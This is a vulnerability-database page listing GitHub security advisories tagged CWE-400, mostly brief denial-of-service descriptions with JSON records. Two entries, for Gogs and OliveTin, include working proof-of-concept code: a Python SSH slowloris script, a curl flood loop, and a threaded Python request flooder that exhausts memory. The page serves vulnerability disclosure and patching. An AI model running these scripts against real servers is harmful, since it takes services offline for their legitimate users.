Common Weakness Enumeration

CWE-400

Discouraged

Uncontrolled Resource Consumption

Abstraction: Class · Status: Draft

API response cwe.mitre.org

The product does not properly control the allocation and maintenance of a limited resource.

5832 vulnerabilities reference this CWE, most recent first.

GHSA-XP35-9CRR-2X99

Vulnerability from github – Published: 2022-05-13 01:46 – Updated: 2022-05-13 01:46
VLAI
Details

An issue was discovered in certain Apple products. iOS before 10.3.3 is affected. watchOS before 3.2.3 is affected. The issue involves the "Messages" component. It allows remote attackers to cause a denial of service (memory consumption and application crash).

Severity
7.5 (High)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2017-7063"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-07-20T16:29:00Z",
    "severity": "HIGH"
  },
  "details": "An issue was discovered in certain Apple products. iOS before 10.3.3 is affected. watchOS before 3.2.3 is affected. The issue involves the \"Messages\" component. It allows remote attackers to cause a denial of service (memory consumption and application crash).",
  "id": "GHSA-xp35-9crr-2x99",
  "modified": "2022-05-13T01:46:50Z",
  "published": "2022-05-13T01:46:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-7063"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/HT207923"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/HT207925"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/99881"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1038950"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XP3G-X2J2-G2M4

Vulnerability from github – Published: 2026-03-04 18:31 – Updated: 2026-03-04 18:31
VLAI
Details

An issue in DJI Mavic Mini, Spark, Mavic Air, Mini, Mini SE 0.1.00.0500 and below allows a remote attacker to cause a denial of service via the DJI Enhanced-WiFi transmission subsystem

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-26673"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-04T16:16:27Z",
    "severity": "HIGH"
  },
  "details": "An issue in DJI Mavic Mini, Spark, Mavic Air, Mini, Mini SE 0.1.00.0500 and below allows a remote attacker to cause a denial of service via the DJI Enhanced-WiFi transmission subsystem",
  "id": "GHSA-xp3g-x2j2-g2m4",
  "modified": "2026-03-04T18:31:53Z",
  "published": "2026-03-04T18:31:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26673"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ByteMe1001/DJI-CatNect"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XP5M-3M34-5M96

Vulnerability from github – Published: 2022-05-04 00:27 – Updated: 2022-05-04 00:27
VLAI
Details

The kiocb_batch_free function in fs/aio.c in the Linux kernel before 3.2.2 allows local users to cause a denial of service (OOPS) via vectors that trigger incorrect iocb management.

Severity
5.5 (Medium)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2012-0058"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2012-05-17T11:00:00Z",
    "severity": "MODERATE"
  },
  "details": "The kiocb_batch_free function in fs/aio.c in the Linux kernel before 3.2.2 allows local users to cause a denial of service (OOPS) via vectors that trigger incorrect iocb management.",
  "id": "GHSA-xp5m-3m34-5m96",
  "modified": "2022-05-04T00:27:49Z",
  "published": "2022-05-04T00:27:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2012-0058"
    },
    {
      "type": "WEB",
      "url": "https://github.com/torvalds/linux/commit/802f43594d6e4d2ac61086d239153c17873a0428"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=782696"
    },
    {
      "type": "WEB",
      "url": "http://marc.info/?l=bugtraq\u0026m=139447903326211\u0026w=2"
    },
    {
      "type": "WEB",
      "url": "http://www.kernel.org/pub/linux/kernel/v3.x/ChangeLog-3.2.2"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2012/01/18/7"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id?1027085"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XP79-5MX3-JX52

Vulnerability from github – Published: 2026-06-23 17:12 – Updated: 2026-07-21 13:40
VLAI
Summary
Gogs has Unauthenticated Asymmetric Denial of Service (DoS) via SSH Handshake Stall (File Descriptor Exhaustion)
Details

The Gogs built-in Go SSH server is vulnerable to an unauthenticated, asymmetric Denial of Service (DoS) attack. The application accepts inbound TCP connections and passes them to golang.org/x/crypto/ssh.NewServerConn inside a new goroutine without enforcing any read/write deadlines on the underlying net.Conn.

An unauthenticated attacker can open multiple TCP connections to the SSH port and simply withhold the SSH protocol banner. This forces the server to spawn an unbounded number of goroutines that block indefinitely waiting for socket I/O. This leads to complete File Descriptor (FD) exhaustion, preventing legitimate users from accessing the Git SSH service, and ultimately destabilizing the entire Gogs process (e.g., causing internal log rotation failures).

Vulnerability Details

In internal/ssh/ssh.go, the listen function contains an accept loop that spawns a goroutine for every incoming connection:

for {
    conn, err := listener.Accept()
    // ...
    go func() {
        // VULNERABILITY: No conn.SetDeadline() is called here
        sConn, chans, reqs, err := ssh.NewServerConn(conn, config)
        // ...
    }()
}

The golang.org/x/crypto/ssh package is transport-agnostic and explicitly relies on the caller to manage connection timeouts before initiating the cryptographic handshake. Because Gogs never calls conn.SetDeadline(), the call to NewServerConn eventually reaches io.ReadFull (inside readVersion()) and blocks forever on the kernel TCP socket waiting for the client to send the SSH-2.0-... banner.

Each stuck connection consumes a file descriptor and ~10KB of memory (Goroutine stack + connection structs). An attacker holding thousands of these connections open with zero bandwidth (no data sent) will quickly exhaust the OS ulimit -n limits (accept4: too many open files), completely neutralizing the service.

Steps to Reproduce

1. Environment Setup: Ensure Gogs is configured to use the built-in Go SSH server in app.ini:

[server]
START_SSH_SERVER = true
SSH_PORT = 2222
SSH_LISTEN_PORT = 2222

2. The Exploit (PoC): Save the following Python script as slowloris-ssh.py. This script connects to the SSH port and intentionally stalls the handshake.

#!/usr/bin/env python3
import socket, sys, time

target_host = sys.argv[1]
target_port = int(sys.argv[2])
n = int(sys.argv[3])

sockets = []
print(f"[*] Starting SSH Slowloris on {target_host}:{target_port}...")

for i in range(n):
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(5)
        s.connect((target_host, target_port))
        # VULNERABILITY EXPLOIT: Do NOT send the "SSH-2.0-..." banner.
        sockets.append(s)
        if i % 100 == 0:
            print(f"[+] {i} stuck connections established")
    except Exception as e:
        print(f"[-] Stopped at {i} connections. Reason: {e}")
        break

print(f"[+] Holding {len(sockets)} connections to starve the server...")
while True:
    time.sleep(60)

3. Execution: Run the script against the target, ensuring the number of connections (n) exceeds the server's configured file descriptor limit (e.g., 1500 for default 1024 ulimit environments): python3 slowloris-ssh.py <target-ip> 2222 1500

4. Observe the Impact:

  • Attempt to connect legitimately: nc -v <target-ip> 2222. The connection will hang or be refused immediately.
  • Inspect the Gogs server logs/console. You will observe catastrophic I/O failures such as: [clog] [file]: rename rotated file ...: no such file or directory accept4: too many open files

Impact

  • Denial of Service: Legitimate developers cannot push, pull, or clone repositories via SSH.

POC:-

watch the following video for poc

Severity
5.5 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "gogs.io/gogs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.14.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-52814"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-23T17:12:33Z",
    "nvd_published_at": "2026-06-24T21:16:57Z",
    "severity": "MODERATE"
  },
  "details": "The Gogs built-in Go SSH server is vulnerable to an unauthenticated, asymmetric Denial of Service (DoS) attack. The application accepts inbound TCP connections and passes them to `golang.org/x/crypto/ssh.NewServerConn` inside a new goroutine without enforcing any read/write deadlines on the underlying `net.Conn`.\n\nAn unauthenticated attacker can open multiple TCP connections to the SSH port and simply withhold the SSH protocol banner. This forces the server to spawn an unbounded number of goroutines that block indefinitely waiting for socket I/O. This leads to complete File Descriptor (FD) exhaustion, preventing legitimate users from accessing the Git SSH service, and ultimately destabilizing the entire Gogs process (e.g., causing internal log rotation failures).\n\n### Vulnerability Details\n\nIn `internal/ssh/ssh.go`, the `listen` function contains an accept loop that spawns a goroutine for every incoming connection:\n\n```go\nfor {\n    conn, err := listener.Accept()\n    // ...\n    go func() {\n        // VULNERABILITY: No conn.SetDeadline() is called here\n        sConn, chans, reqs, err := ssh.NewServerConn(conn, config)\n        // ...\n    }()\n}\n\n```\n\nThe `golang.org/x/crypto/ssh` package is transport-agnostic and explicitly relies on the caller to manage connection timeouts before initiating the cryptographic handshake. Because Gogs never calls `conn.SetDeadline()`, the call to `NewServerConn` eventually reaches `io.ReadFull` (inside `readVersion()`) and blocks forever on the kernel TCP socket waiting for the client to send the `SSH-2.0-...` banner.\n\nEach stuck connection consumes a file descriptor and ~10KB of memory (Goroutine stack + connection structs). An attacker holding thousands of these connections open with zero bandwidth (no data sent) will quickly exhaust the OS `ulimit -n` limits (`accept4: too many open files`), completely neutralizing the service.\n\n### Steps to Reproduce\n\n**1. Environment Setup:**\nEnsure Gogs is configured to use the built-in Go SSH server in `app.ini`:\n\n```ini\n[server]\nSTART_SSH_SERVER = true\nSSH_PORT = 2222\nSSH_LISTEN_PORT = 2222\n\n```\n\n**2. The Exploit (PoC):**\nSave the following Python script as `slowloris-ssh.py`. This script connects to the SSH port and intentionally stalls the handshake.\n\n```python\n#!/usr/bin/env python3\nimport socket, sys, time\n\ntarget_host = sys.argv[1]\ntarget_port = int(sys.argv[2])\nn = int(sys.argv[3])\n\nsockets = []\nprint(f\"[*] Starting SSH Slowloris on {target_host}:{target_port}...\")\n\nfor i in range(n):\n    try:\n        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        s.settimeout(5)\n        s.connect((target_host, target_port))\n        # VULNERABILITY EXPLOIT: Do NOT send the \"SSH-2.0-...\" banner.\n        sockets.append(s)\n        if i % 100 == 0:\n            print(f\"[+] {i} stuck connections established\")\n    except Exception as e:\n        print(f\"[-] Stopped at {i} connections. Reason: {e}\")\n        break\n\nprint(f\"[+] Holding {len(sockets)} connections to starve the server...\")\nwhile True:\n    time.sleep(60)\n\n```\n\n**3. Execution:**\nRun the script against the target, ensuring the number of connections (`n`) exceeds the server\u0027s configured file descriptor limit (e.g., `1500` for default 1024 ulimit environments):\n`python3 slowloris-ssh.py \u003ctarget-ip\u003e 2222 1500`\n\n**4. Observe the Impact:**\n\n* Attempt to connect legitimately: `nc -v \u003ctarget-ip\u003e 2222`. The connection will hang or be refused immediately.\n* Inspect the Gogs server logs/console. You will observe catastrophic I/O failures such as:\n`[clog] [file]: rename rotated file ...: no such file or directory`\n`accept4: too many open files`\n\n### Impact\n\n* **Denial of Service:** Legitimate developers cannot push, pull, or clone repositories via SSH.\n\n### POC:-\n[watch the following video for poc](https://drive.google.com/file/d/1YGsZnxNIiwUuOrdKwJSfnRBfOEJcDHUJ/view?usp=sharing)",
  "id": "GHSA-xp79-5mx3-jx52",
  "modified": "2026-07-21T13:40:42Z",
  "published": "2026-06-23T17:12:33Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gogs/gogs/security/advisories/GHSA-xp79-5mx3-jx52"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-52814"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gogs/gogs/pull/8335"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gogs/gogs/commit/7da9cda314054501e1a7938a9c4d7896f331b884"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gogs/gogs"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gogs/gogs/releases/tag/v0.14.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Gogs has Unauthenticated Asymmetric Denial of Service (DoS) via SSH Handshake Stall (File Descriptor Exhaustion)"
}

GHSA-XP7F-V245-W3W8

Vulnerability from github – Published: 2026-05-08 15:31 – Updated: 2026-05-08 21:31
VLAI
Details

An issue in fohrloop dash-uploader v.0.1.0 through v.0.7.0a2 allows a remote attacker to execute arbitrary code via the dash_uploader/httprequesthandler.py, dash_uploader/upload.py in the Upload function and max_file_size parameter, dash_uploader/configure_upload.py components

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-38361"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-08T15:16:37Z",
    "severity": "HIGH"
  },
  "details": "An issue in fohrloop dash-uploader v.0.1.0 through v.0.7.0a2 allows a remote attacker to execute arbitrary code via the dash_uploader/httprequesthandler.py, dash_uploader/upload.py in the Upload function and max_file_size parameter, dash_uploader/configure_upload.py components",
  "id": "GHSA-xp7f-v245-w3w8",
  "modified": "2026-05-08T21:31:25Z",
  "published": "2026-05-08T15:31:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-38361"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fohrloop/dash-uploader/issues/153"
    },
    {
      "type": "WEB",
      "url": "https://docs.python.org/3/library/functions.html#all"
    },
    {
      "type": "WEB",
      "url": "https://github.com/a1ohadance/CVE-2026-38361"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fohrloop/dash-uploader"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fohrloop/dash-uploader/blob/stable/dash_uploader/httprequesthandler.py"
    },
    {
      "type": "WEB",
      "url": "https://libraries.io/pypi/dash-uploader"
    },
    {
      "type": "WEB",
      "url": "https://pepy.tech/project/dash-uploader"
    },
    {
      "type": "WEB",
      "url": "https://pypi.org/project/dash-uploader"
    },
    {
      "type": "WEB",
      "url": "https://pypistats.org/packages/dash-uploader"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XPGJ-RHC7-55QX

Vulnerability from github – Published: 2023-09-11 15:31 – Updated: 2024-04-04 07:35
VLAI
Details

An issue was discovered in Qubo Smart Plug 10A version HSP02_01_01_14_SYSTEM-10A, allows attackers to cause a denial of service (DoS) via Wi-Fi deauthentication.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-36161"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-09-11T13:15:24Z",
    "severity": "HIGH"
  },
  "details": "An issue was discovered in Qubo Smart Plug 10A version HSP02_01_01_14_SYSTEM-10A, allows attackers to cause a denial of service (DoS) via Wi-Fi deauthentication.",
  "id": "GHSA-xpgj-rhc7-55qx",
  "modified": "2024-04-04T07:35:02Z",
  "published": "2023-09-11T15:31:00Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-36161"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Yashodhanvivek/Qubo_smart_switch_security_assessment/blob/main/Qubo_Smart_Plug_10A_Security_Assessment.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XPH2-98F4-P64H

Vulnerability from github – Published: 2026-08-05 00:30 – Updated: 2026-08-05 21:31
VLAI
Details

An issue in open62541 v.1.5.5 and before allows a remote attacker to cause a denial of service via crafted CreateSubscription, CreateMonitoredItems(Sampling), Publish, TransferSubscriptions, and DeleteSubscriptions requests

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-67856"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-04T22:17:15Z",
    "severity": "HIGH"
  },
  "details": "An issue in open62541 v.1.5.5 and before allows a remote attacker to cause a denial of service via crafted CreateSubscription, CreateMonitoredItems(Sampling), Publish, TransferSubscriptions, and DeleteSubscriptions requests",
  "id": "GHSA-xph2-98f4-p64h",
  "modified": "2026-08-05T21:31:35Z",
  "published": "2026-08-05T00:30:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67856"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open62541/open62541/issues/8092"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open62541/open62541/blob/master/examples/access_control/server_access_control.c"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open62541/open62541/blob/master/src/server/ua_services_subscription.c"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open62541/open62541/blob/master/src/server/ua_subscription.c"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open62541/open62541/blob/master/src/server/ua_subscription.h"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XPJ5-4MPQ-74XF

Vulnerability from github – Published: 2022-02-11 00:00 – Updated: 2022-02-18 00:01
VLAI
Details

The Zoom Client for Meetings chat functionality was susceptible to Zip bombing attacks in the following product versions: Android before version 5.8.6, iOS before version 5.9.0, Linux before version 5.8.6, macOS before version 5.7.3, and Windows before version 5.6.3. This could lead to availability issues on the client host by exhausting system resources.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-22780"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-02-09T23:15:00Z",
    "severity": "HIGH"
  },
  "details": "The Zoom Client for Meetings chat functionality was susceptible to Zip bombing attacks in the following product versions: Android before version 5.8.6, iOS before version 5.9.0, Linux before version 5.8.6, macOS before version 5.7.3, and Windows before version 5.6.3. This could lead to availability issues on the client host by exhausting system resources.",
  "id": "GHSA-xpj5-4mpq-74xf",
  "modified": "2022-02-18T00:01:00Z",
  "published": "2022-02-11T00:00:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-22780"
    },
    {
      "type": "WEB",
      "url": "https://explore.zoom.us/en/trust/security/security-bulletin"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-XPW8-RCWV-8F8P

Vulnerability from github – Published: 2023-10-10 22:22 – Updated: 2023-11-06 22:08
VLAI
Summary
io.netty:netty-codec-http2 vulnerable to HTTP/2 Rapid Reset Attack
Details

A client might overload the server by issue frequent RST frames. This can cause a massive amount of load on the remote system and so cause a DDOS attack.

Impact

This is a DDOS attack, any http2 server is affected and so you should update as soon as possible.

Patches

This is patched in version 4.1.100.Final.

Workarounds

A user can limit the amount of RST frames that are accepted per connection over a timeframe manually using either an own Http2FrameListener implementation or an ChannelInboundHandler implementation (depending which http2 API is used).

References

  • https://www.cve.org/CVERecord?id=CVE-2023-44487
  • https://blog.cloudflare.com/technical-breakdown-http2-rapid-reset-ddos-attack/
  • https://cloud.google.com/blog/products/identity-security/google-cloud-mitigated-largest-ddos-attack-peaking-above-398-million-rps/
Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.100.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-10-10T22:22:54Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "A client might overload the server by issue frequent RST frames. This can cause a massive amount of load on the remote system and so cause a DDOS attack. \n\n### Impact\nThis is a DDOS attack, any http2 server is affected and so you should update as soon as possible.\n\n### Patches\nThis is patched in version 4.1.100.Final.\n\n### Workarounds\nA user can limit the amount of RST frames that are accepted per connection over a timeframe manually using either an own `Http2FrameListener` implementation or an `ChannelInboundHandler` implementation (depending which http2 API is used).\n\n### References\n- https://www.cve.org/CVERecord?id=CVE-2023-44487\n- https://blog.cloudflare.com/technical-breakdown-http2-rapid-reset-ddos-attack/\n- https://cloud.google.com/blog/products/identity-security/google-cloud-mitigated-largest-ddos-attack-peaking-above-398-million-rps/",
  "id": "GHSA-xpw8-rcwv-8f8p",
  "modified": "2023-11-06T22:08:35Z",
  "published": "2023-10-10T22:22:54Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/apple/swift-nio-http2/security/advisories/GHSA-qppj-fm5r-hxr3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-xpw8-rcwv-8f8p"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-44487"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/commit/58f75f665aa81a8cbcf6ffa74820042a285c5e61"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-44487"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "io.netty:netty-codec-http2 vulnerable to HTTP/2 Rapid Reset Attack"
}

GHSA-XPXJ-F2FM-RQCH

Vulnerability from github – Published: 2026-07-30 14:24 – Updated: 2026-07-30 14:24
VLAI
Summary
OliveTin: Unauthenticated DoS via OAuth2 State Memory Exhaustion (Unbounded Map Growth)
Details

Summary

OliveTin's OAuth2 login handler stores per-login state in an in-memory map (registeredStates) that grows unboundedly. States are added on every /oauth/login request but are never deleted or expired. An unauthenticated attacker can send millions of requests to /oauth/login to fill the map with state entries, exhausting server memory and causing a denial of service.

This is distinct from CVE-2026-28789 (concurrent map writes crash). That CVE was about the panic from unsynchronized map access — the fix added a sync.RWMutex. This vulnerability is about the unbounded growth of the map even WITH the mutex, as no cleanup mechanism exists.

Affected Versions

  • All versions with OAuth2 support, including >= 3000.10.3 (which patched CVE-2026-28789)

Details

In service/internal/auth/otoauth2/restapi_auth_oauth2.go:

type OAuth2Handler struct {
    cfg                 *config.Config
    mu                  sync.RWMutex
    registeredStates    map[string]*oauth2State  // NEVER cleaned up
    registeredProviders map[string]*oauth2.Config
}

The HandleOAuthLogin handler adds a new state on every request:

func (h *OAuth2Handler) HandleOAuthLogin(w http.ResponseWriter, r *http.Request) {
    state, _ := randString(16)  // 24-byte base64 string
    // ...
    h.mu.Lock()
    h.registeredStates[state] = &oauth2State{
        providerConfig: provider,
        providerName:   providerName,
        Username:       "",
    }
    h.mu.Unlock()
    // ... redirect to OAuth2 provider
}

The HandleOAuthCallback handler updates existing states but never removes them:

func (h *OAuth2Handler) HandleOAuthCallback(w http.ResponseWriter, r *http.Request) {
    // ...
    h.mu.Lock()
    h.registeredStates[state].Username = userinfo.Username  // Updates, never deletes
    h.registeredStates[state].Usergroup = ...
    h.mu.Unlock()
}

There is no TTL, no expiry check, no periodic cleanup, and no max size limit on registeredStates.

Memory Impact Per State

Each map entry consists of: - Key: ~24 bytes (base64 string) - Value: *oauth2State struct containing: - providerConfig *oauth2.Config (pointer, 8 bytes + shared config) - providerName string (~8-16 bytes) - Username string (empty initially) - Usergroup string (empty initially) - Go map overhead: ~100-150 bytes per entry

Estimated: ~200 bytes per state entry

At 1 million states ≈ 200 MB of memory consumed. At 10 million states ≈ 2 GB of memory consumed.

Attack Vector

The /oauth/login endpoint is publicly accessible (unauthenticated). Each request is lightweight (no heavy computation like argon2). The server writes a cookie and returns a 302 redirect. An attacker can send thousands of requests per second.

PoC

Prerequisites

  • OliveTin instance with at least one OAuth2 provider configured
  • Network access to /oauth/login

Config

listenAddressSingleHTTPFrontend: 0.0.0.0:1337
logLevel: "INFO"
checkForUpdates: false

authOAuth2RedirectUrl: "http://127.0.0.1:1337/oauth/callback"
authOAuth2Providers:
  github:
    clientId: "test-client-id"
    clientSecret: "test-client-secret"

actions:
  - title: noop
    shell: echo "ok"

Step 1: Baseline health check

curl -i http://127.0.0.1:1337/readyz
# Expected: 200 OK

curl -I "http://127.0.0.1:1337/oauth/login?provider=github"
# Expected: 302 Found (redirect to GitHub)

Step 2: Flood with state-creation requests

# Each request creates a new map entry that is never cleaned up
for i in $(seq 1 100000); do
  curl -s -o /dev/null "http://127.0.0.1:1337/oauth/login?provider=github" &
  # Throttle to avoid connection limits
  if (( i % 500 == 0 )); then
    wait
    echo "Sent $i requests..."
  fi
done
wait
echo "Flood complete"

Step 3: Python PoC for sustained memory exhaustion

#!/usr/bin/env python3
"""PoC: OAuth2 State Memory Exhaustion DoS

Distinct from CVE-2026-28789 (concurrent map crash).
This exploits unbounded growth of the registeredStates map.
"""

import requests
import time
import sys
from concurrent.futures import ThreadPoolExecutor

TARGET = "http://127.0.0.1:1337"
PROVIDER = "github"
WORKERS = 50
TOTAL_REQUESTS = 500000
BATCH_SIZE = 1000

def create_state(_):
    """Send /oauth/login to create a new state entry."""
    try:
        requests.get(
            f"{TARGET}/oauth/login?provider={PROVIDER}",
            allow_redirects=False,
            timeout=5
        )
        return True
    except Exception:
        return False

def check_health():
    """Check if the server is still responsive."""
    try:
        r = requests.get(f"{TARGET}/readyz", timeout=5)
        return r.status_code == 200
    except Exception:
        return False

print(f"[*] Target: {TARGET}")
print(f"[*] Provider: {PROVIDER}")
print(f"[*] Total requests: {TOTAL_REQUESTS}")
print(f"[*] Workers: {WORKERS}")
print()

if not check_health():
    print("[!] Server not reachable")
    sys.exit(1)

start_time = time.time()
total_created = 0

with ThreadPoolExecutor(max_workers=WORKERS) as executor:
    for batch_start in range(0, TOTAL_REQUESTS, BATCH_SIZE):
        batch_end = min(batch_start + BATCH_SIZE, TOTAL_REQUESTS)
        results = list(executor.map(create_state, range(batch_start, batch_end)))
        total_created += sum(results)

        elapsed = time.time() - start_time
        rate = total_created / elapsed if elapsed > 0 else 0
        est_memory = total_created * 200 / 1024 / 1024  # MB

        print(f"  States created: {total_created:>8} | "
              f"Rate: {rate:>6.0f}/s | "
              f"Est. memory: {est_memory:>6.1f} MB | "
              f"Healthy: {check_health()}")

        if not check_health():
            print(f"\n[!] Server became unresponsive after {total_created} states!")
            print(f"[!] Estimated memory consumed: {est_memory:.1f} MB")
            break

print(f"\n[*] Attack complete. {total_created} states created in {time.time()-start_time:.1f}s")

Step 4: Verify memory growth (Docker)

docker stats olivetin-instance --no-stream
# Observe MEM USAGE growing continuously during the attack

Impact

  • Who is impacted: All OliveTin deployments with any OAuth2 provider configured
  • Attack requirements: Unauthenticated network access to /oauth/login
  • Effect: Gradual memory exhaustion leading to OOM kill or service degradation
  • Persistence: Memory is never reclaimed (states are never deleted) even after the attack stops — a restart is required
  • Distinction from CVE-2026-28789: That CVE was a race condition crash (concurrent map writes). This is unbounded memory growth that persists even with the mutex fix applied.

Suggested Fix

  1. Add a TTL to OAuth2 states (e.g., 15 minutes matching the cookie MaxAge)
  2. Add a maximum state count (e.g., 10,000) with LRU eviction
  3. Clean up states after successful callback
  4. Add periodic garbage collection for expired states
Severity
7.5 (High)
